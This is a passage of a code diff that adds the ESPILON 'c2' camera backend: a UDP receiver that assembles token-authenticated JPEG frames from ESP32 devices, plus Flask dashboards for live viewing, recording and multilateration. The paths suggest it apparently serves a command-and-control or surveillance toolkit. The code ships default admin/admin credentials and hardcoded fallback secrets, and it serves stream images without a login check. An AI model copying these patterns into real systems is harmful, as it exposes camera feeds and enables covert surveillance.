# Security
|
||||
SECRET_TOKEN = os.getenv("CAMERA_SECRET_TOKEN", "Sup3rS3cretT0k3n").encode()
|
||||
FLASK_SECRET_KEY = os.getenv("FLASK_SECRET_KEY", "change_this_for_prod")
|
||||
|
||||
# Credentials
|
||||
DEFAULT_USERNAME = os.getenv("WEB_USERNAME", "admin")
|
||||
DEFAULT_PASSWORD = os.getenv("WEB_PASSWORD", "admin")
|
||||
|
||||
# Storage paths
|
||||
IMAGE_DIR = os.getenv("IMAGE_DIR", "static/streams")
|
||||
|
||||
# Video recording
|
||||
VIDEO_ENABLED = _get_bool("VIDEO_ENABLED", True)
|
||||
VIDEO_PATH = os.getenv("VIDEO_PATH", "static/streams/record.avi")
|
||||
VIDEO_FPS = _get_int("VIDEO_FPS", 10)
|
||||
VIDEO_CODEC = os.getenv("VIDEO_CODEC", "MJPG")
|
||||
|
||||
# Multilateration
|
||||
MULTILAT_AUTH_TOKEN = os.getenv("MULTILAT_AUTH_TOKEN", "multilat_secret_token")
|
||||
134
tools/c2/streams/server.py
Normal file
134
tools/c2/streams/server.py
Normal file
@ -0,0 +1,134 @@
|
||||
"""Main camera server combining UDP receiver and unified web server."""
|
||||
|
||||
from typing import Optional, Callable
|
||||
|
||||
from .config import (
|
||||
UDP_HOST, UDP_PORT, WEB_HOST, WEB_PORT, IMAGE_DIR,
|
||||
DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY, MULTILAT_AUTH_TOKEN
|
||||
)
|
||||
from .udp_receiver import UDPReceiver
|
||||
from web.server import UnifiedWebServer
|
||||
from web.mlat import MlatEngine
|
||||
|
||||
|
||||
class CameraServer:
|
||||
"""
|
||||
Combined camera server that manages both:
|
||||
- UDP receiver for incoming camera frames from ESP devices
|
||||
- Unified web server for dashboard, cameras, and trilateration
|
||||
"""
|
||||
|
||||
def __init__(self,
|
||||
udp_host: str = UDP_HOST,
|
||||
udp_port: int = UDP_PORT,
|
||||
web_host: str = WEB_HOST,
|
||||
web_port: int = WEB_PORT,
|
||||
image_dir: str = IMAGE_DIR,
|
||||
username: str = DEFAULT_USERNAME,
|
||||
password: str = DEFAULT_PASSWORD,
|
||||
device_registry=None,
|
||||
on_frame: Optional[Callable] = None):
|
||||
"""
|
||||
Initialize the camera server.
|
||||
|
||||
Args:
|
||||
udp_host: Host to bind UDP receiver
|
||||
udp_port: Port for UDP receiver
|
||||
web_host: Host to bind web server
|
||||
web_port: Port for web server
|
||||
image_dir: Directory to store camera frames
|
||||
username: Web interface username
|
||||
password: Web interface password
|
||||
device_registry: DeviceRegistry instance for device listing
|
||||
on_frame: Optional callback when frame is received (camera_id, frame, addr)
|
||||
"""
|
||||
self.mlat_engine = MlatEngine()
|
||||
|
||||
self.udp_receiver = UDPReceiver(
|
||||
host=udp_host,
|
||||
port=udp_port,
|
||||
image_dir=image_dir,
|
||||
on_frame=on_frame
|
||||
)
|
||||
|
||||
self.web_server = UnifiedWebServer(
|
||||
host=web_host,
|
||||
port=web_port,
|
||||
image_dir=image_dir,
|
||||
username=username,
|
||||
password=password,
|
||||
secret_key=FLASK_SECRET_KEY,
|
||||
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||
device_registry=device_registry,
|
||||
mlat_engine=self.mlat_engine
|
||||
)
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
"""Check if both servers are running."""
|
||||
return self.udp_receiver.is_running and self.web_server.is_running
|
||||
|
||||
@property
|
||||
def udp_running(self) -> bool:
|
||||
return self.udp_receiver.is_running
|
||||
|
||||
@property
|
||||
def web_running(self) -> bool:
|
||||
return self.web_server.is_running
|
||||
|
||||
def start(self) -> dict:
|
||||
"""
|
||||
Start both UDP receiver and web server.
|
||||
|
||||
Returns:
|
||||
dict with status of each server
|
||||
"""
|
||||
results = {
|
||||
"udp": {"started": False, "host": self.udp_receiver.host, "port": self.udp_receiver.port},
|
||||
"web": {"started": False, "host": self.web_server.host, "port": self.web_server.port}
|
||||
}
|
||||
|
||||
if self.udp_receiver.start():
|
||||
results["udp"]["started"] = True
|
||||
|
||||
if self.web_server.start():
|
||||
results["web"]["started"] = True
|
||||
results["web"]["url"] = self.web_server.get_url()
|
||||
|
||||
return results
|
||||
|
||||
def stop(self) -> dict:
|
||||
"""
|
||||
Stop both servers.
|
||||
|
||||
Returns:
|
||||
dict with stop status
|
||||
"""
|
||||
self.udp_receiver.stop()
|
||||
self.web_server.stop()
|
||||
|
||||
return {
|
||||
"udp": {"stopped": True},
|
||||
"web": {"stopped": True}
|
||||
}
|
||||
|
||||
def get_status(self) -> dict:
|
||||
"""Get status of both servers."""
|
||||
return {
|
||||
"udp": {
|
||||
"running": self.udp_receiver.is_running,
|
||||
"host": self.udp_receiver.host,
|
||||
"port": self.udp_receiver.port,
|
||||
**self.udp_receiver.get_stats()
|
||||
},
|
||||
"web": {
|
||||
"running": self.web_server.is_running,
|
||||
"host": self.web_server.host,
|
||||
"port": self.web_server.port,
|
||||
"url": self.web_server.get_url() if self.web_server.is_running else None
|
||||
}
|
||||
}
|
||||
|
||||
def get_active_cameras(self) -> list:
|
||||
"""Get list of active camera IDs."""
|
||||
return self.udp_receiver.active_cameras
|
||||
468
tools/c2/streams/udp_receiver.py
Normal file
468
tools/c2/streams/udp_receiver.py
Normal file
@ -0,0 +1,468 @@
|
||||
"""UDP server for receiving camera frames from ESP devices.
|
||||
|
||||
Protocol from ESP32:
|
||||
- TOKEN + "START" -> Start of new frame
|
||||
- TOKEN + chunk -> JPEG data chunk
|
||||
- TOKEN + "END" -> End of frame, decode and process
|
||||
"""
|
||||
|
||||
import os
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
import cv2
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
from typing import Optional, Callable, Dict
|
||||
|
||||
from .config import (
|
||||
UDP_HOST, UDP_PORT, UDP_BUFFER_SIZE,
|
||||
SECRET_TOKEN, IMAGE_DIR,
|
||||
VIDEO_FPS, VIDEO_CODEC
|
||||
)
|
||||
|
||||
# Camera timeout - mark as inactive after this many seconds without frames
|
||||
CAMERA_TIMEOUT_SECONDS = 5
|
||||
|
||||
|
||||
class FrameAssembler:
|
||||
"""Assembles JPEG frames from multiple UDP packets."""
|
||||
|
||||
def __init__(self, timeout: float = 5.0):
|
||||
self.timeout = timeout
|
||||
self.buffer = bytearray()
|
||||
self.start_time: Optional[float] = None
|
||||
self.receiving = False
|
||||
|
||||
def start_frame(self):
|
||||
self.buffer = bytearray()
|
||||
self.start_time = time.time()
|
||||
self.receiving = True
|
||||
|
||||
def add_chunk(self, data: bytes) -> bool:
|
||||
if not self.receiving:
|
||||
return False
|
||||
if self.start_time and (time.time() - self.start_time) > self.timeout:
|
||||
self.reset()
|
||||
return False
|
||||
self.buffer.extend(data)
|
||||
return True
|
||||
|
||||
def finish_frame(self) -> Optional[bytes]:
|
||||
if not self.receiving or len(self.buffer) == 0:
|
||||
return None
|
||||
data = bytes(self.buffer)
|
||||
self.reset()
|
||||
return data
|
||||
|
||||
def reset(self):
|
||||
self.buffer = bytearray()
|
||||
self.start_time = None
|
||||
self.receiving = False
|
||||
|
||||
|
||||
class CameraRecorder:
|
||||
"""Handles video recording for a single camera."""
|
||||
|
||||
def __init__(self, camera_id: str, output_dir: str):
|
||||
self.camera_id = camera_id
|
||||
self.output_dir = output_dir
|
||||
self._writer: Optional[cv2.VideoWriter] = None
|
||||
self._video_size: Optional[tuple] = None
|
||||
self._recording = False
|
||||
self._filename: Optional[str] = None
|
||||
self._frame_count = 0
|
||||
self._start_time: Optional[float] = None
|
||||
|
||||
@property
|
||||
def is_recording(self) -> bool:
|
||||
return self._recording
|
||||
|
||||
@property
|
||||
def filename(self) -> Optional[str]:
|
||||
return self._filename
|
||||
|
||||
@property
|
||||
def duration(self) -> float:
|
||||
if self._start_time:
|
||||
return time.time() - self._start_time
|
||||
return 0
|
||||
|
||||
@property
|
||||
def frame_count(self) -> int:
|
||||
return self._frame_count
|
||||
|
||||
def start(self) -> str:
|
||||
if self._recording:
|
||||
return self._filename
|
||||
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
safe_id = self.camera_id.replace(":", "_").replace(".", "_")
|
||||
self._filename = f"recording_{safe_id}_{timestamp}.avi"
|
||||
self._recording = True
|
||||
self._frame_count = 0
|
||||
self._start_time = time.time()
|
||||
return self._filename
|
||||
|
||||
def stop(self) -> dict:
|
||||
if not self._recording:
|
||||
return {"error": "Not recording"}
|
||||
|
||||
self._recording = False
|
||||
result = {
|
||||
"filename": self._filename,
|
||||
"frames": self._frame_count,
|
||||
"duration": self.duration
|
||||
}
|
||||
|
||||
if self._writer:
|
||||
self._writer.release()
|
||||
self._writer = None
|
||||
|
||||
self._video_size = None
|
||||
return result
|
||||
|
||||
def write_frame(self, frame: np.ndarray):
|
||||
if not self._recording:
|
||||
return
|
||||
|
||||
if self._writer is None:
|
||||
self._video_size = (frame.shape[1], frame.shape[0])
|
||||
fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC)
|
||||
video_path = os.path.join(self.output_dir, self._filename)
|
||||
self._writer = cv2.VideoWriter(
|
||||
video_path, fourcc, VIDEO_FPS, self._video_size
|
||||
)
|
||||
|
||||
if self._writer and self._writer.isOpened():
|
||||
self._writer.write(frame)
|
||||
self._frame_count += 1
|
||||
|
||||
|
||||
class UDPReceiver:
|
||||
"""Receives JPEG frames via UDP from ESP camera devices."""
|
||||
|
||||
def __init__(self,
|
||||
host: str = UDP_HOST,
|
||||
port: int = UDP_PORT,
|
||||
image_dir: str = IMAGE_DIR,
|
||||
on_frame: Optional[Callable] = None,
|
||||
device_registry=None):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.image_dir = image_dir
|
||||
self.on_frame = on_frame
|
||||
self.device_registry = device_registry
|
||||
|
||||
self._sock: Optional[socket.socket] = None
|
||||
self._thread: Optional[threading.Thread] = None
|
||||
self._stop_event = threading.Event()
|
||||
|
||||
# Frame assemblers per source address
|
||||
self._assemblers: Dict[str, FrameAssembler] = {}
|
||||
|
||||
# Per-camera recorders (keyed by device_id)
|
||||
self._recorders: Dict[str, CameraRecorder] = {}
|
||||
self._recordings_dir = os.path.join(os.path.dirname(image_dir), "recordings")
|
||||
|
||||
# IP to device_id mapping cache
|
||||
self._ip_to_device: Dict[str, str] = {}
|
||||
|
||||
# Statistics
|
||||
self.frames_received = 0
|
||||
self.invalid_tokens = 0
|
||||
self.decode_errors = 0
|
||||
self.packets_received = 0
|
||||
|
||||
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}}
|
||||
self._active_cameras: Dict[str, dict] = {}
|
||||
|
||||
os.makedirs(self.image_dir, exist_ok=True)
|
||||
os.makedirs(self._recordings_dir, exist_ok=True)
|
||||
|
||||
def set_device_registry(self, registry):
|
||||
"""Set device registry for IP to device_id lookup."""
|
||||
self.device_registry = registry
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._thread is not None and self._thread.is_alive()
|
||||
|
||||
@property
|
||||
def active_cameras(self) -> list:
|
||||
"""Returns list of active camera device IDs."""
|
||||
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
||||
|
||||
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
|
||||
"""Look up device_id from IP address using device registry."""
|
||||
# Check cache first
|
||||
if ip in self._ip_to_device:
|
||||
return self._ip_to_device[ip]
|
||||
|
||||
# Look up in device registry
|
||||
if self.device_registry:
|
||||
for device in self.device_registry.all():
|
||||
if device.address and device.address[0] == ip:
|
||||
self._ip_to_device[ip] = device.id
|
||||
return device.id
|
||||
|
||||
return None
|
||||
|
||||
def start(self) -> bool:
|
||||
if self.is_running:
|
||||
return False
|
||||
|
||||
self._stop_event.clear()
|
||||
self._thread = threading.Thread(target=self._receive_loop, daemon=True)
|
||||
self._thread.start()
|
||||
|
||||
# Start timeout checker
|
||||
self._timeout_thread = threading.Thread(target=self._timeout_checker, daemon=True)
|
||||
self._timeout_thread.start()
|
||||
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
self._stop_event.set()
|
||||
|
||||
if self._sock:
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._sock = None
|
||||
|
||||
for recorder in self._recorders.values():
|
||||
if recorder.is_recording:
|
||||
recorder.stop()
|
||||
|
||||
self._cleanup_frames()
|
||||
self._active_cameras.clear()
|
||||
self._assemblers.clear()
|
||||
self._recorders.clear()
|
||||
self._ip_to_device.clear()
|
||||
self.frames_received = 0
|
||||
self.packets_received = 0
|
||||
|
||||
def _cleanup_frames(self):
|
||||
"""Remove all .jpg files from image directory."""
|
||||
try:
|
||||
for f in os.listdir(self.image_dir):
|
||||
if f.endswith(".jpg"):
|
||||
os.remove(os.path.join(self.image_dir, f))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _timeout_checker(self):
|
||||
"""Check for camera timeouts and mark them as inactive."""
|
||||
while not self._stop_event.is_set():
|
||||
time.sleep(1)
|
||||
now = time.time()
|
||||
|
||||
for camera_id, info in list(self._active_cameras.items()):
|
||||
last_frame = info.get("last_frame", 0)
|
||||
was_active = info.get("active", False)
|
||||
|
||||
if now - last_frame > CAMERA_TIMEOUT_SECONDS:
|
||||
if was_active:
|
||||
self._active_cameras[camera_id]["active"] = False
|
||||
# Remove the frame file so frontend shows default image
|
||||
self._remove_camera_frame(camera_id)
|
||||
|
||||
def _remove_camera_frame(self, camera_id: str):
|
||||
"""Remove the frame file for a camera."""
|
||||
try:
|
||||
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
|
||||
if os.path.exists(filepath):
|
||||
os.remove(filepath)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _get_assembler(self, addr: tuple) -> FrameAssembler:
|
||||
key = f"{addr[0]}:{addr[1]}"
|
||||
if key not in self._assemblers:
|
||||
self._assemblers[key] = FrameAssembler()
|
||||
return self._assemblers[key]
|
||||
|
||||
def _get_recorder(self, camera_id: str) -> CameraRecorder:
|
||||
if camera_id not in self._recorders:
|
||||
self._recorders[camera_id] = CameraRecorder(camera_id, self._recordings_dir)
|
||||
return self._recorders[camera_id]
|
||||
|
||||
def _receive_loop(self):
|
||||
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self._sock.bind((self.host, self.port))
|
||||
self._sock.settimeout(1.0)
|
||||
|
||||
print(f"[UDP] Receiver started on {self.host}:{self.port}")
|
||||
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
data, addr = self._sock.recvfrom(UDP_BUFFER_SIZE)
|
||||
except socket.timeout:
|
||||
continue
|
||||
except OSError:
|
||||
break
|
||||
|
||||
self.packets_received += 1
|
||||
|
||||
if not data.startswith(SECRET_TOKEN):
|
||||
self.invalid_tokens += 1
|
||||
continue
|
||||
|
||||
payload = data[len(SECRET_TOKEN):]
|
||||
assembler = self._get_assembler(addr)
|
||||
|
||||
# Try to get device_id from IP, fallback to IP if not found
|
||||
ip = addr[0]
|
||||
device_id = self._get_device_id_from_ip(ip)
|
||||
if not device_id:
|
||||
# Fallback: use IP (without port to avoid duplicates)
|
||||
device_id = ip.replace(".", "_")
|
||||
|
||||
if payload == b"START":
|
||||
assembler.start_frame()
|
||||
continue
|
||||
elif payload == b"END":
|
||||
frame_data = assembler.finish_frame()
|
||||
if frame_data:
|
||||
self._process_complete_frame(device_id, frame_data, addr)
|
||||
continue
|
||||
else:
|
||||
if not assembler.receiving:
|
||||
frame = self._decode_frame(payload)
|
||||
if frame is not None:
|
||||
self._process_frame(device_id, frame, addr)
|
||||
else:
|
||||
self.decode_errors += 1
|
||||
else:
|
||||
assembler.add_chunk(payload)
|
||||
|
||||
if self._sock:
|
||||
self._sock.close()
|
||||
self._sock = None
|
||||
|
||||
print("[UDP] Receiver stopped")
|
||||
|
||||
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
|
||||
frame = self._decode_frame(frame_data)
|
||||
if frame is None:
|
||||
self.decode_errors += 1
|
||||
return
|
||||
self._process_frame(camera_id, frame, addr)
|
||||
|
||||
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
|
||||
self.frames_received += 1
|
||||
|
||||
# Update camera tracking
|
||||
self._active_cameras[camera_id] = {
|
||||
"last_frame": time.time(),
|
||||
"active": True,
|
||||
"addr": addr
|
||||
}
|
||||
|
||||
# Save frame
|
||||
self._save_frame(camera_id, frame)
|
||||
|
||||
# Record if recording is active for this camera
|
||||
recorder = self._get_recorder(camera_id)
|
||||
if recorder.is_recording:
|
||||
recorder.write_frame(frame)
|
||||
|
||||
if self.on_frame:
|
||||
self.on_frame(camera_id, frame, addr)
|
||||
|
||||
def _decode_frame(self, data: bytes) -> Optional[np.ndarray]:
|
||||
try:
|
||||
npdata = np.frombuffer(data, np.uint8)
|
||||
frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR)
|
||||
return frame
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def _save_frame(self, camera_id: str, frame: np.ndarray):
|
||||
try:
|
||||
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
|
||||
cv2.imwrite(filepath, frame)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# === Recording API ===
|
||||
|
||||
def start_recording(self, camera_id: str) -> dict:
|
||||
if camera_id not in self._active_cameras or not self._active_cameras[camera_id].get("active"):
|
||||
return {"error": f"Camera {camera_id} not active"}
|
||||
|
||||
recorder = self._get_recorder(camera_id)
|
||||
if recorder.is_recording:
|
||||
return {"error": "Already recording", "filename": recorder.filename}
|
||||
|
||||
filename = recorder.start()
|
||||
return {"status": "recording", "filename": filename, "camera_id": camera_id}
|
||||
|
||||
def stop_recording(self, camera_id: str) -> dict:
|
||||
if camera_id not in self._recorders:
|
||||
return {"error": f"No recorder for {camera_id}"}
|
||||
|
||||
recorder = self._recorders[camera_id]
|
||||
if not recorder.is_recording:
|
||||
return {"error": "Not recording"}
|
||||
|
||||
result = recorder.stop()
|
||||
result["camera_id"] = camera_id
|
||||
result["path"] = os.path.join(self._recordings_dir, result["filename"])
|
||||
return result
|
||||
|
||||
def get_recording_status(self, camera_id: str = None) -> dict:
|
||||
if camera_id:
|
||||
if camera_id not in self._recorders:
|
||||
return {"camera_id": camera_id, "recording": False}
|
||||
recorder = self._recorders[camera_id]
|
||||
return {
|
||||
"camera_id": camera_id,
|
||||
"recording": recorder.is_recording,
|
||||
"filename": recorder.filename,
|
||||
"duration": recorder.duration,
|
||||
"frames": recorder.frame_count
|
||||
}
|
||||
|
||||
result = {}
|
||||
for cid, info in self._active_cameras.items():
|
||||
if info.get("active"):
|
||||
recorder = self._get_recorder(cid)
|
||||
result[cid] = {
|
||||
"recording": recorder.is_recording,
|
||||
"filename": recorder.filename if recorder.is_recording else None,
|
||||
"duration": recorder.duration if recorder.is_recording else 0
|
||||
}
|
||||
return result
|
||||
|
||||
def list_recordings(self) -> list:
|
||||
try:
|
||||
files = []
|
||||
for f in os.listdir(self._recordings_dir):
|
||||
if f.endswith(".avi"):
|
||||
path = os.path.join(self._recordings_dir, f)
|
||||
stat = os.stat(path)
|
||||
files.append({
|
||||
"filename": f,
|
||||
"size": stat.st_size,
|
||||
"created": stat.st_mtime
|
||||
})
|
||||
return sorted(files, key=lambda x: x["created"], reverse=True)
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def get_stats(self) -> dict:
|
||||
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
|
||||
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
||||
return {
|
||||
"running": self.is_running,
|
||||
"packets_received": self.packets_received,
|
||||
"frames_received": self.frames_received,
|
||||
"invalid_tokens": self.invalid_tokens,
|
||||
"decode_errors": self.decode_errors,
|
||||
"active_cameras": active_count,
|
||||
"active_recordings": recording_count
|
||||
}
|
||||
158
tools/c2/streams/web_server.py
Normal file
158
tools/c2/streams/web_server.py
Normal file
@ -0,0 +1,158 @@
|
||||
"""Flask web server for camera stream display."""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import threading
|
||||
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
|
||||
from werkzeug.serving import make_server
|
||||
|
||||
from .config import (
|
||||
WEB_HOST, WEB_PORT, FLASK_SECRET_KEY,
|
||||
DEFAULT_USERNAME, DEFAULT_PASSWORD, IMAGE_DIR
|
||||
)
|
||||
|
||||
# Disable Flask/Werkzeug request logging
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
|
||||
|
||||
class WebServer:
|
||||
"""Flask-based web server for viewing camera streams."""
|
||||
|
||||
def __init__(self,
|
||||
host: str = WEB_HOST,
|
||||
port: int = WEB_PORT,
|
||||
image_dir: str = IMAGE_DIR,
|
||||
username: str = DEFAULT_USERNAME,
|
||||
password: str = DEFAULT_PASSWORD):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.image_dir = image_dir
|
||||
self.username = username
|
||||
self.password = password
|
||||
|
||||
self._app = self._create_app()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._thread is not None and self._thread.is_alive()
|
||||
|
||||
def _create_app(self) -> Flask:
|
||||
"""Create and configure the Flask application."""
|
||||
# Get the c2 root directory for templates
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
template_dir = os.path.join(c2_root, "templates")
|
||||
static_dir = os.path.join(c2_root, "static")
|
||||
|
||||
app = Flask(__name__,
|
||||
template_folder=template_dir,
|
||||
static_folder=static_dir)
|
||||
app.secret_key = FLASK_SECRET_KEY
|
||||
|
||||
# Store reference to self for route handlers
|
||||
web_server = self
|
||||
|
||||
@app.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
error = None
|
||||
if request.method == "POST":
|
||||
username = request.form.get("username")
|
||||
password = request.form.get("password")
|
||||
if username == web_server.username and password == web_server.password:
|
||||
session["logged_in"] = True
|
||||
return redirect(url_for("index"))
|
||||
else:
|
||||
error = "Invalid credentials."
|
||||
return render_template("login.html", error=error)
|
||||
|
||||
@app.route("/logout")
|
||||
def logout():
|
||||
session.pop("logged_in", None)
|
||||
return redirect(url_for("login"))
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
if not session.get("logged_in"):
|
||||
return redirect(url_for("login"))
|
||||
|
||||
# List available camera images
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
image_files = sorted([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
image_files = []
|
||||
|
||||
if not image_files:
|
||||
image_files = []
|
||||
|
||||
return render_template("index.html", image_files=image_files)
|
||||
|
||||
@app.route("/streams/<filename>")
|
||||
def stream_image(filename):
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
return send_from_directory(full_image_dir, filename)
|
||||
|
||||
@app.route("/api/cameras")
|
||||
def api_cameras():
|
||||
"""API endpoint to get list of active cameras."""
|
||||
if not session.get("logged_in"):
|
||||
return jsonify({"error": "Unauthorized"}), 401
|
||||
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
cameras = [
|
||||
f.replace(".jpg", "")
|
||||
for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
]
|
||||
except FileNotFoundError:
|
||||
cameras = []
|
||||
|
||||
return jsonify({"cameras": cameras})
|
||||
|
||||
@app.route("/api/stats")
|
||||
def api_stats():
|
||||
"""API endpoint for server statistics."""
|
||||
if not session.get("logged_in"):
|
||||
return jsonify({"error": "Unauthorized"}), 401
|
||||
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
camera_count = len([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
camera_count = 0
|
||||
|
||||
return jsonify({
|
||||
"active_cameras": camera_count,
|
||||
"server_running": True
|
||||
})
|
||||
|
||||
return app
|
||||
|
||||
def start(self) -> bool:
|
||||
"""Start the web server in a background thread."""
|
||||
if self.is_running:
|
||||
return False
|
||||
|
||||
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||
self._thread.start()
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop the web server."""
|
||||
if self._server:
|
||||
self._server.shutdown()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def get_url(self) -> str:
|
||||
"""Get the server URL."""
|
||||
return f"http://{self.host}:{self.port}"
|
||||
52
tools/c2/templates/base.html
Normal file
52
tools/c2/templates/base.html
Normal file
@ -0,0 +1,52 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{% block title %}ESPILON{% endblock %}</title>
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='css/main.css') }}">
|
||||
{% block head %}{% endblock %}
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<div class="logo">ESPILON</div>
|
||||
<nav class="main-nav">
|
||||
<a href="/dashboard" class="nav-link {% if active_page == 'dashboard' %}active{% endif %}">
|
||||
Dashboard
|
||||
</a>
|
||||
<a href="/cameras" class="nav-link {% if active_page == 'cameras' %}active{% endif %}">
|
||||
Cameras
|
||||
</a>
|
||||
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
|
||||
MLAT
|
||||
</a>
|
||||
</nav>
|
||||
<div class="header-right">
|
||||
<div class="status">
|
||||
<div class="status-dot"></div>
|
||||
<span id="device-count">-</span> device(s)
|
||||
</div>
|
||||
<a href="/logout" class="logout">Logout</a>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<main>
|
||||
{% block content %}{% endblock %}
|
||||
</main>
|
||||
|
||||
<script>
|
||||
// Update device count in header
|
||||
async function updateStats() {
|
||||
try {
|
||||
const res = await fetch('/api/stats');
|
||||
const data = await res.json();
|
||||
document.getElementById('device-count').textContent = data.connected_devices || 0;
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
updateStats();
|
||||
setInterval(updateStats, 10000);
|
||||
</script>
|
||||
{% block scripts %}{% endblock %}
|
||||
</body>
|
||||
</html>
|
||||
270
tools/c2/templates/cameras.html
Normal file
270
tools/c2/templates/cameras.html
Normal file
@ -0,0 +1,270 @@
|
||||
{% extends "base.html" %}
|
||||
|
||||
{% block title %}Cameras - ESPILON{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div class="page-header">
|
||||
<div class="page-title">Cameras <span>Live Feed</span></div>
|
||||
<div class="status">
|
||||
<div class="status-dot"></div>
|
||||
<span id="camera-count">{{ image_files|length }}</span> camera(s)
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{% if image_files %}
|
||||
<div class="grid grid-cameras" id="grid">
|
||||
{% for img in image_files %}
|
||||
<div class="card" data-camera-id="{{ img.replace('.jpg', '') }}">
|
||||
<div class="card-header">
|
||||
<span class="name">{{ img.replace('.jpg', '').replace('_', ':') }}</span>
|
||||
<div class="card-actions">
|
||||
<button class="btn-record" data-camera="{{ img.replace('.jpg', '') }}" title="Start Recording">
|
||||
<svg width="14" height="14" viewBox="0 0 24 24" fill="currentColor">
|
||||
<circle cx="12" cy="12" r="8"/>
|
||||
</svg>
|
||||
</button>
|
||||
<span class="badge badge-live">LIVE</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-body card-body-image">
|
||||
<img src="/streams/{{ img }}?t=0"
|
||||
data-src="/streams/{{ img }}"
|
||||
data-default="/static/images/no-signal.png"
|
||||
onerror="this.src=this.dataset.default">
|
||||
</div>
|
||||
<div class="record-indicator" style="display: none;">
|
||||
<span class="record-dot"></span>
|
||||
<span class="record-time">00:00</span>
|
||||
</div>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% else %}
|
||||
<div class="empty-cameras">
|
||||
<div class="no-signal-container">
|
||||
<img src="/static/images/no-signal.png" alt="No Signal" class="no-signal-img">
|
||||
<h2>No active cameras</h2>
|
||||
<p>Waiting for ESP32-CAM devices to send frames on UDP port 5000</p>
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endblock %}
|
||||
|
||||
{% block scripts %}
|
||||
<style>
|
||||
.card-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.btn-record {
|
||||
width: 28px;
|
||||
height: 28px;
|
||||
border-radius: 50%;
|
||||
border: none;
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text-secondary);
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.btn-record:hover {
|
||||
background: var(--status-error-bg);
|
||||
color: var(--status-error);
|
||||
}
|
||||
|
||||
.btn-record.recording {
|
||||
background: var(--status-error);
|
||||
color: white;
|
||||
animation: pulse-record 1.5s infinite;
|
||||
}
|
||||
|
||||
@keyframes pulse-record {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.6; }
|
||||
}
|
||||
|
||||
.record-indicator {
|
||||
padding: 8px 16px;
|
||||
background: var(--bg-elevated);
|
||||
border-top: 1px solid var(--border-color);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
font-size: 12px;
|
||||
color: var(--status-error);
|
||||
}
|
||||
|
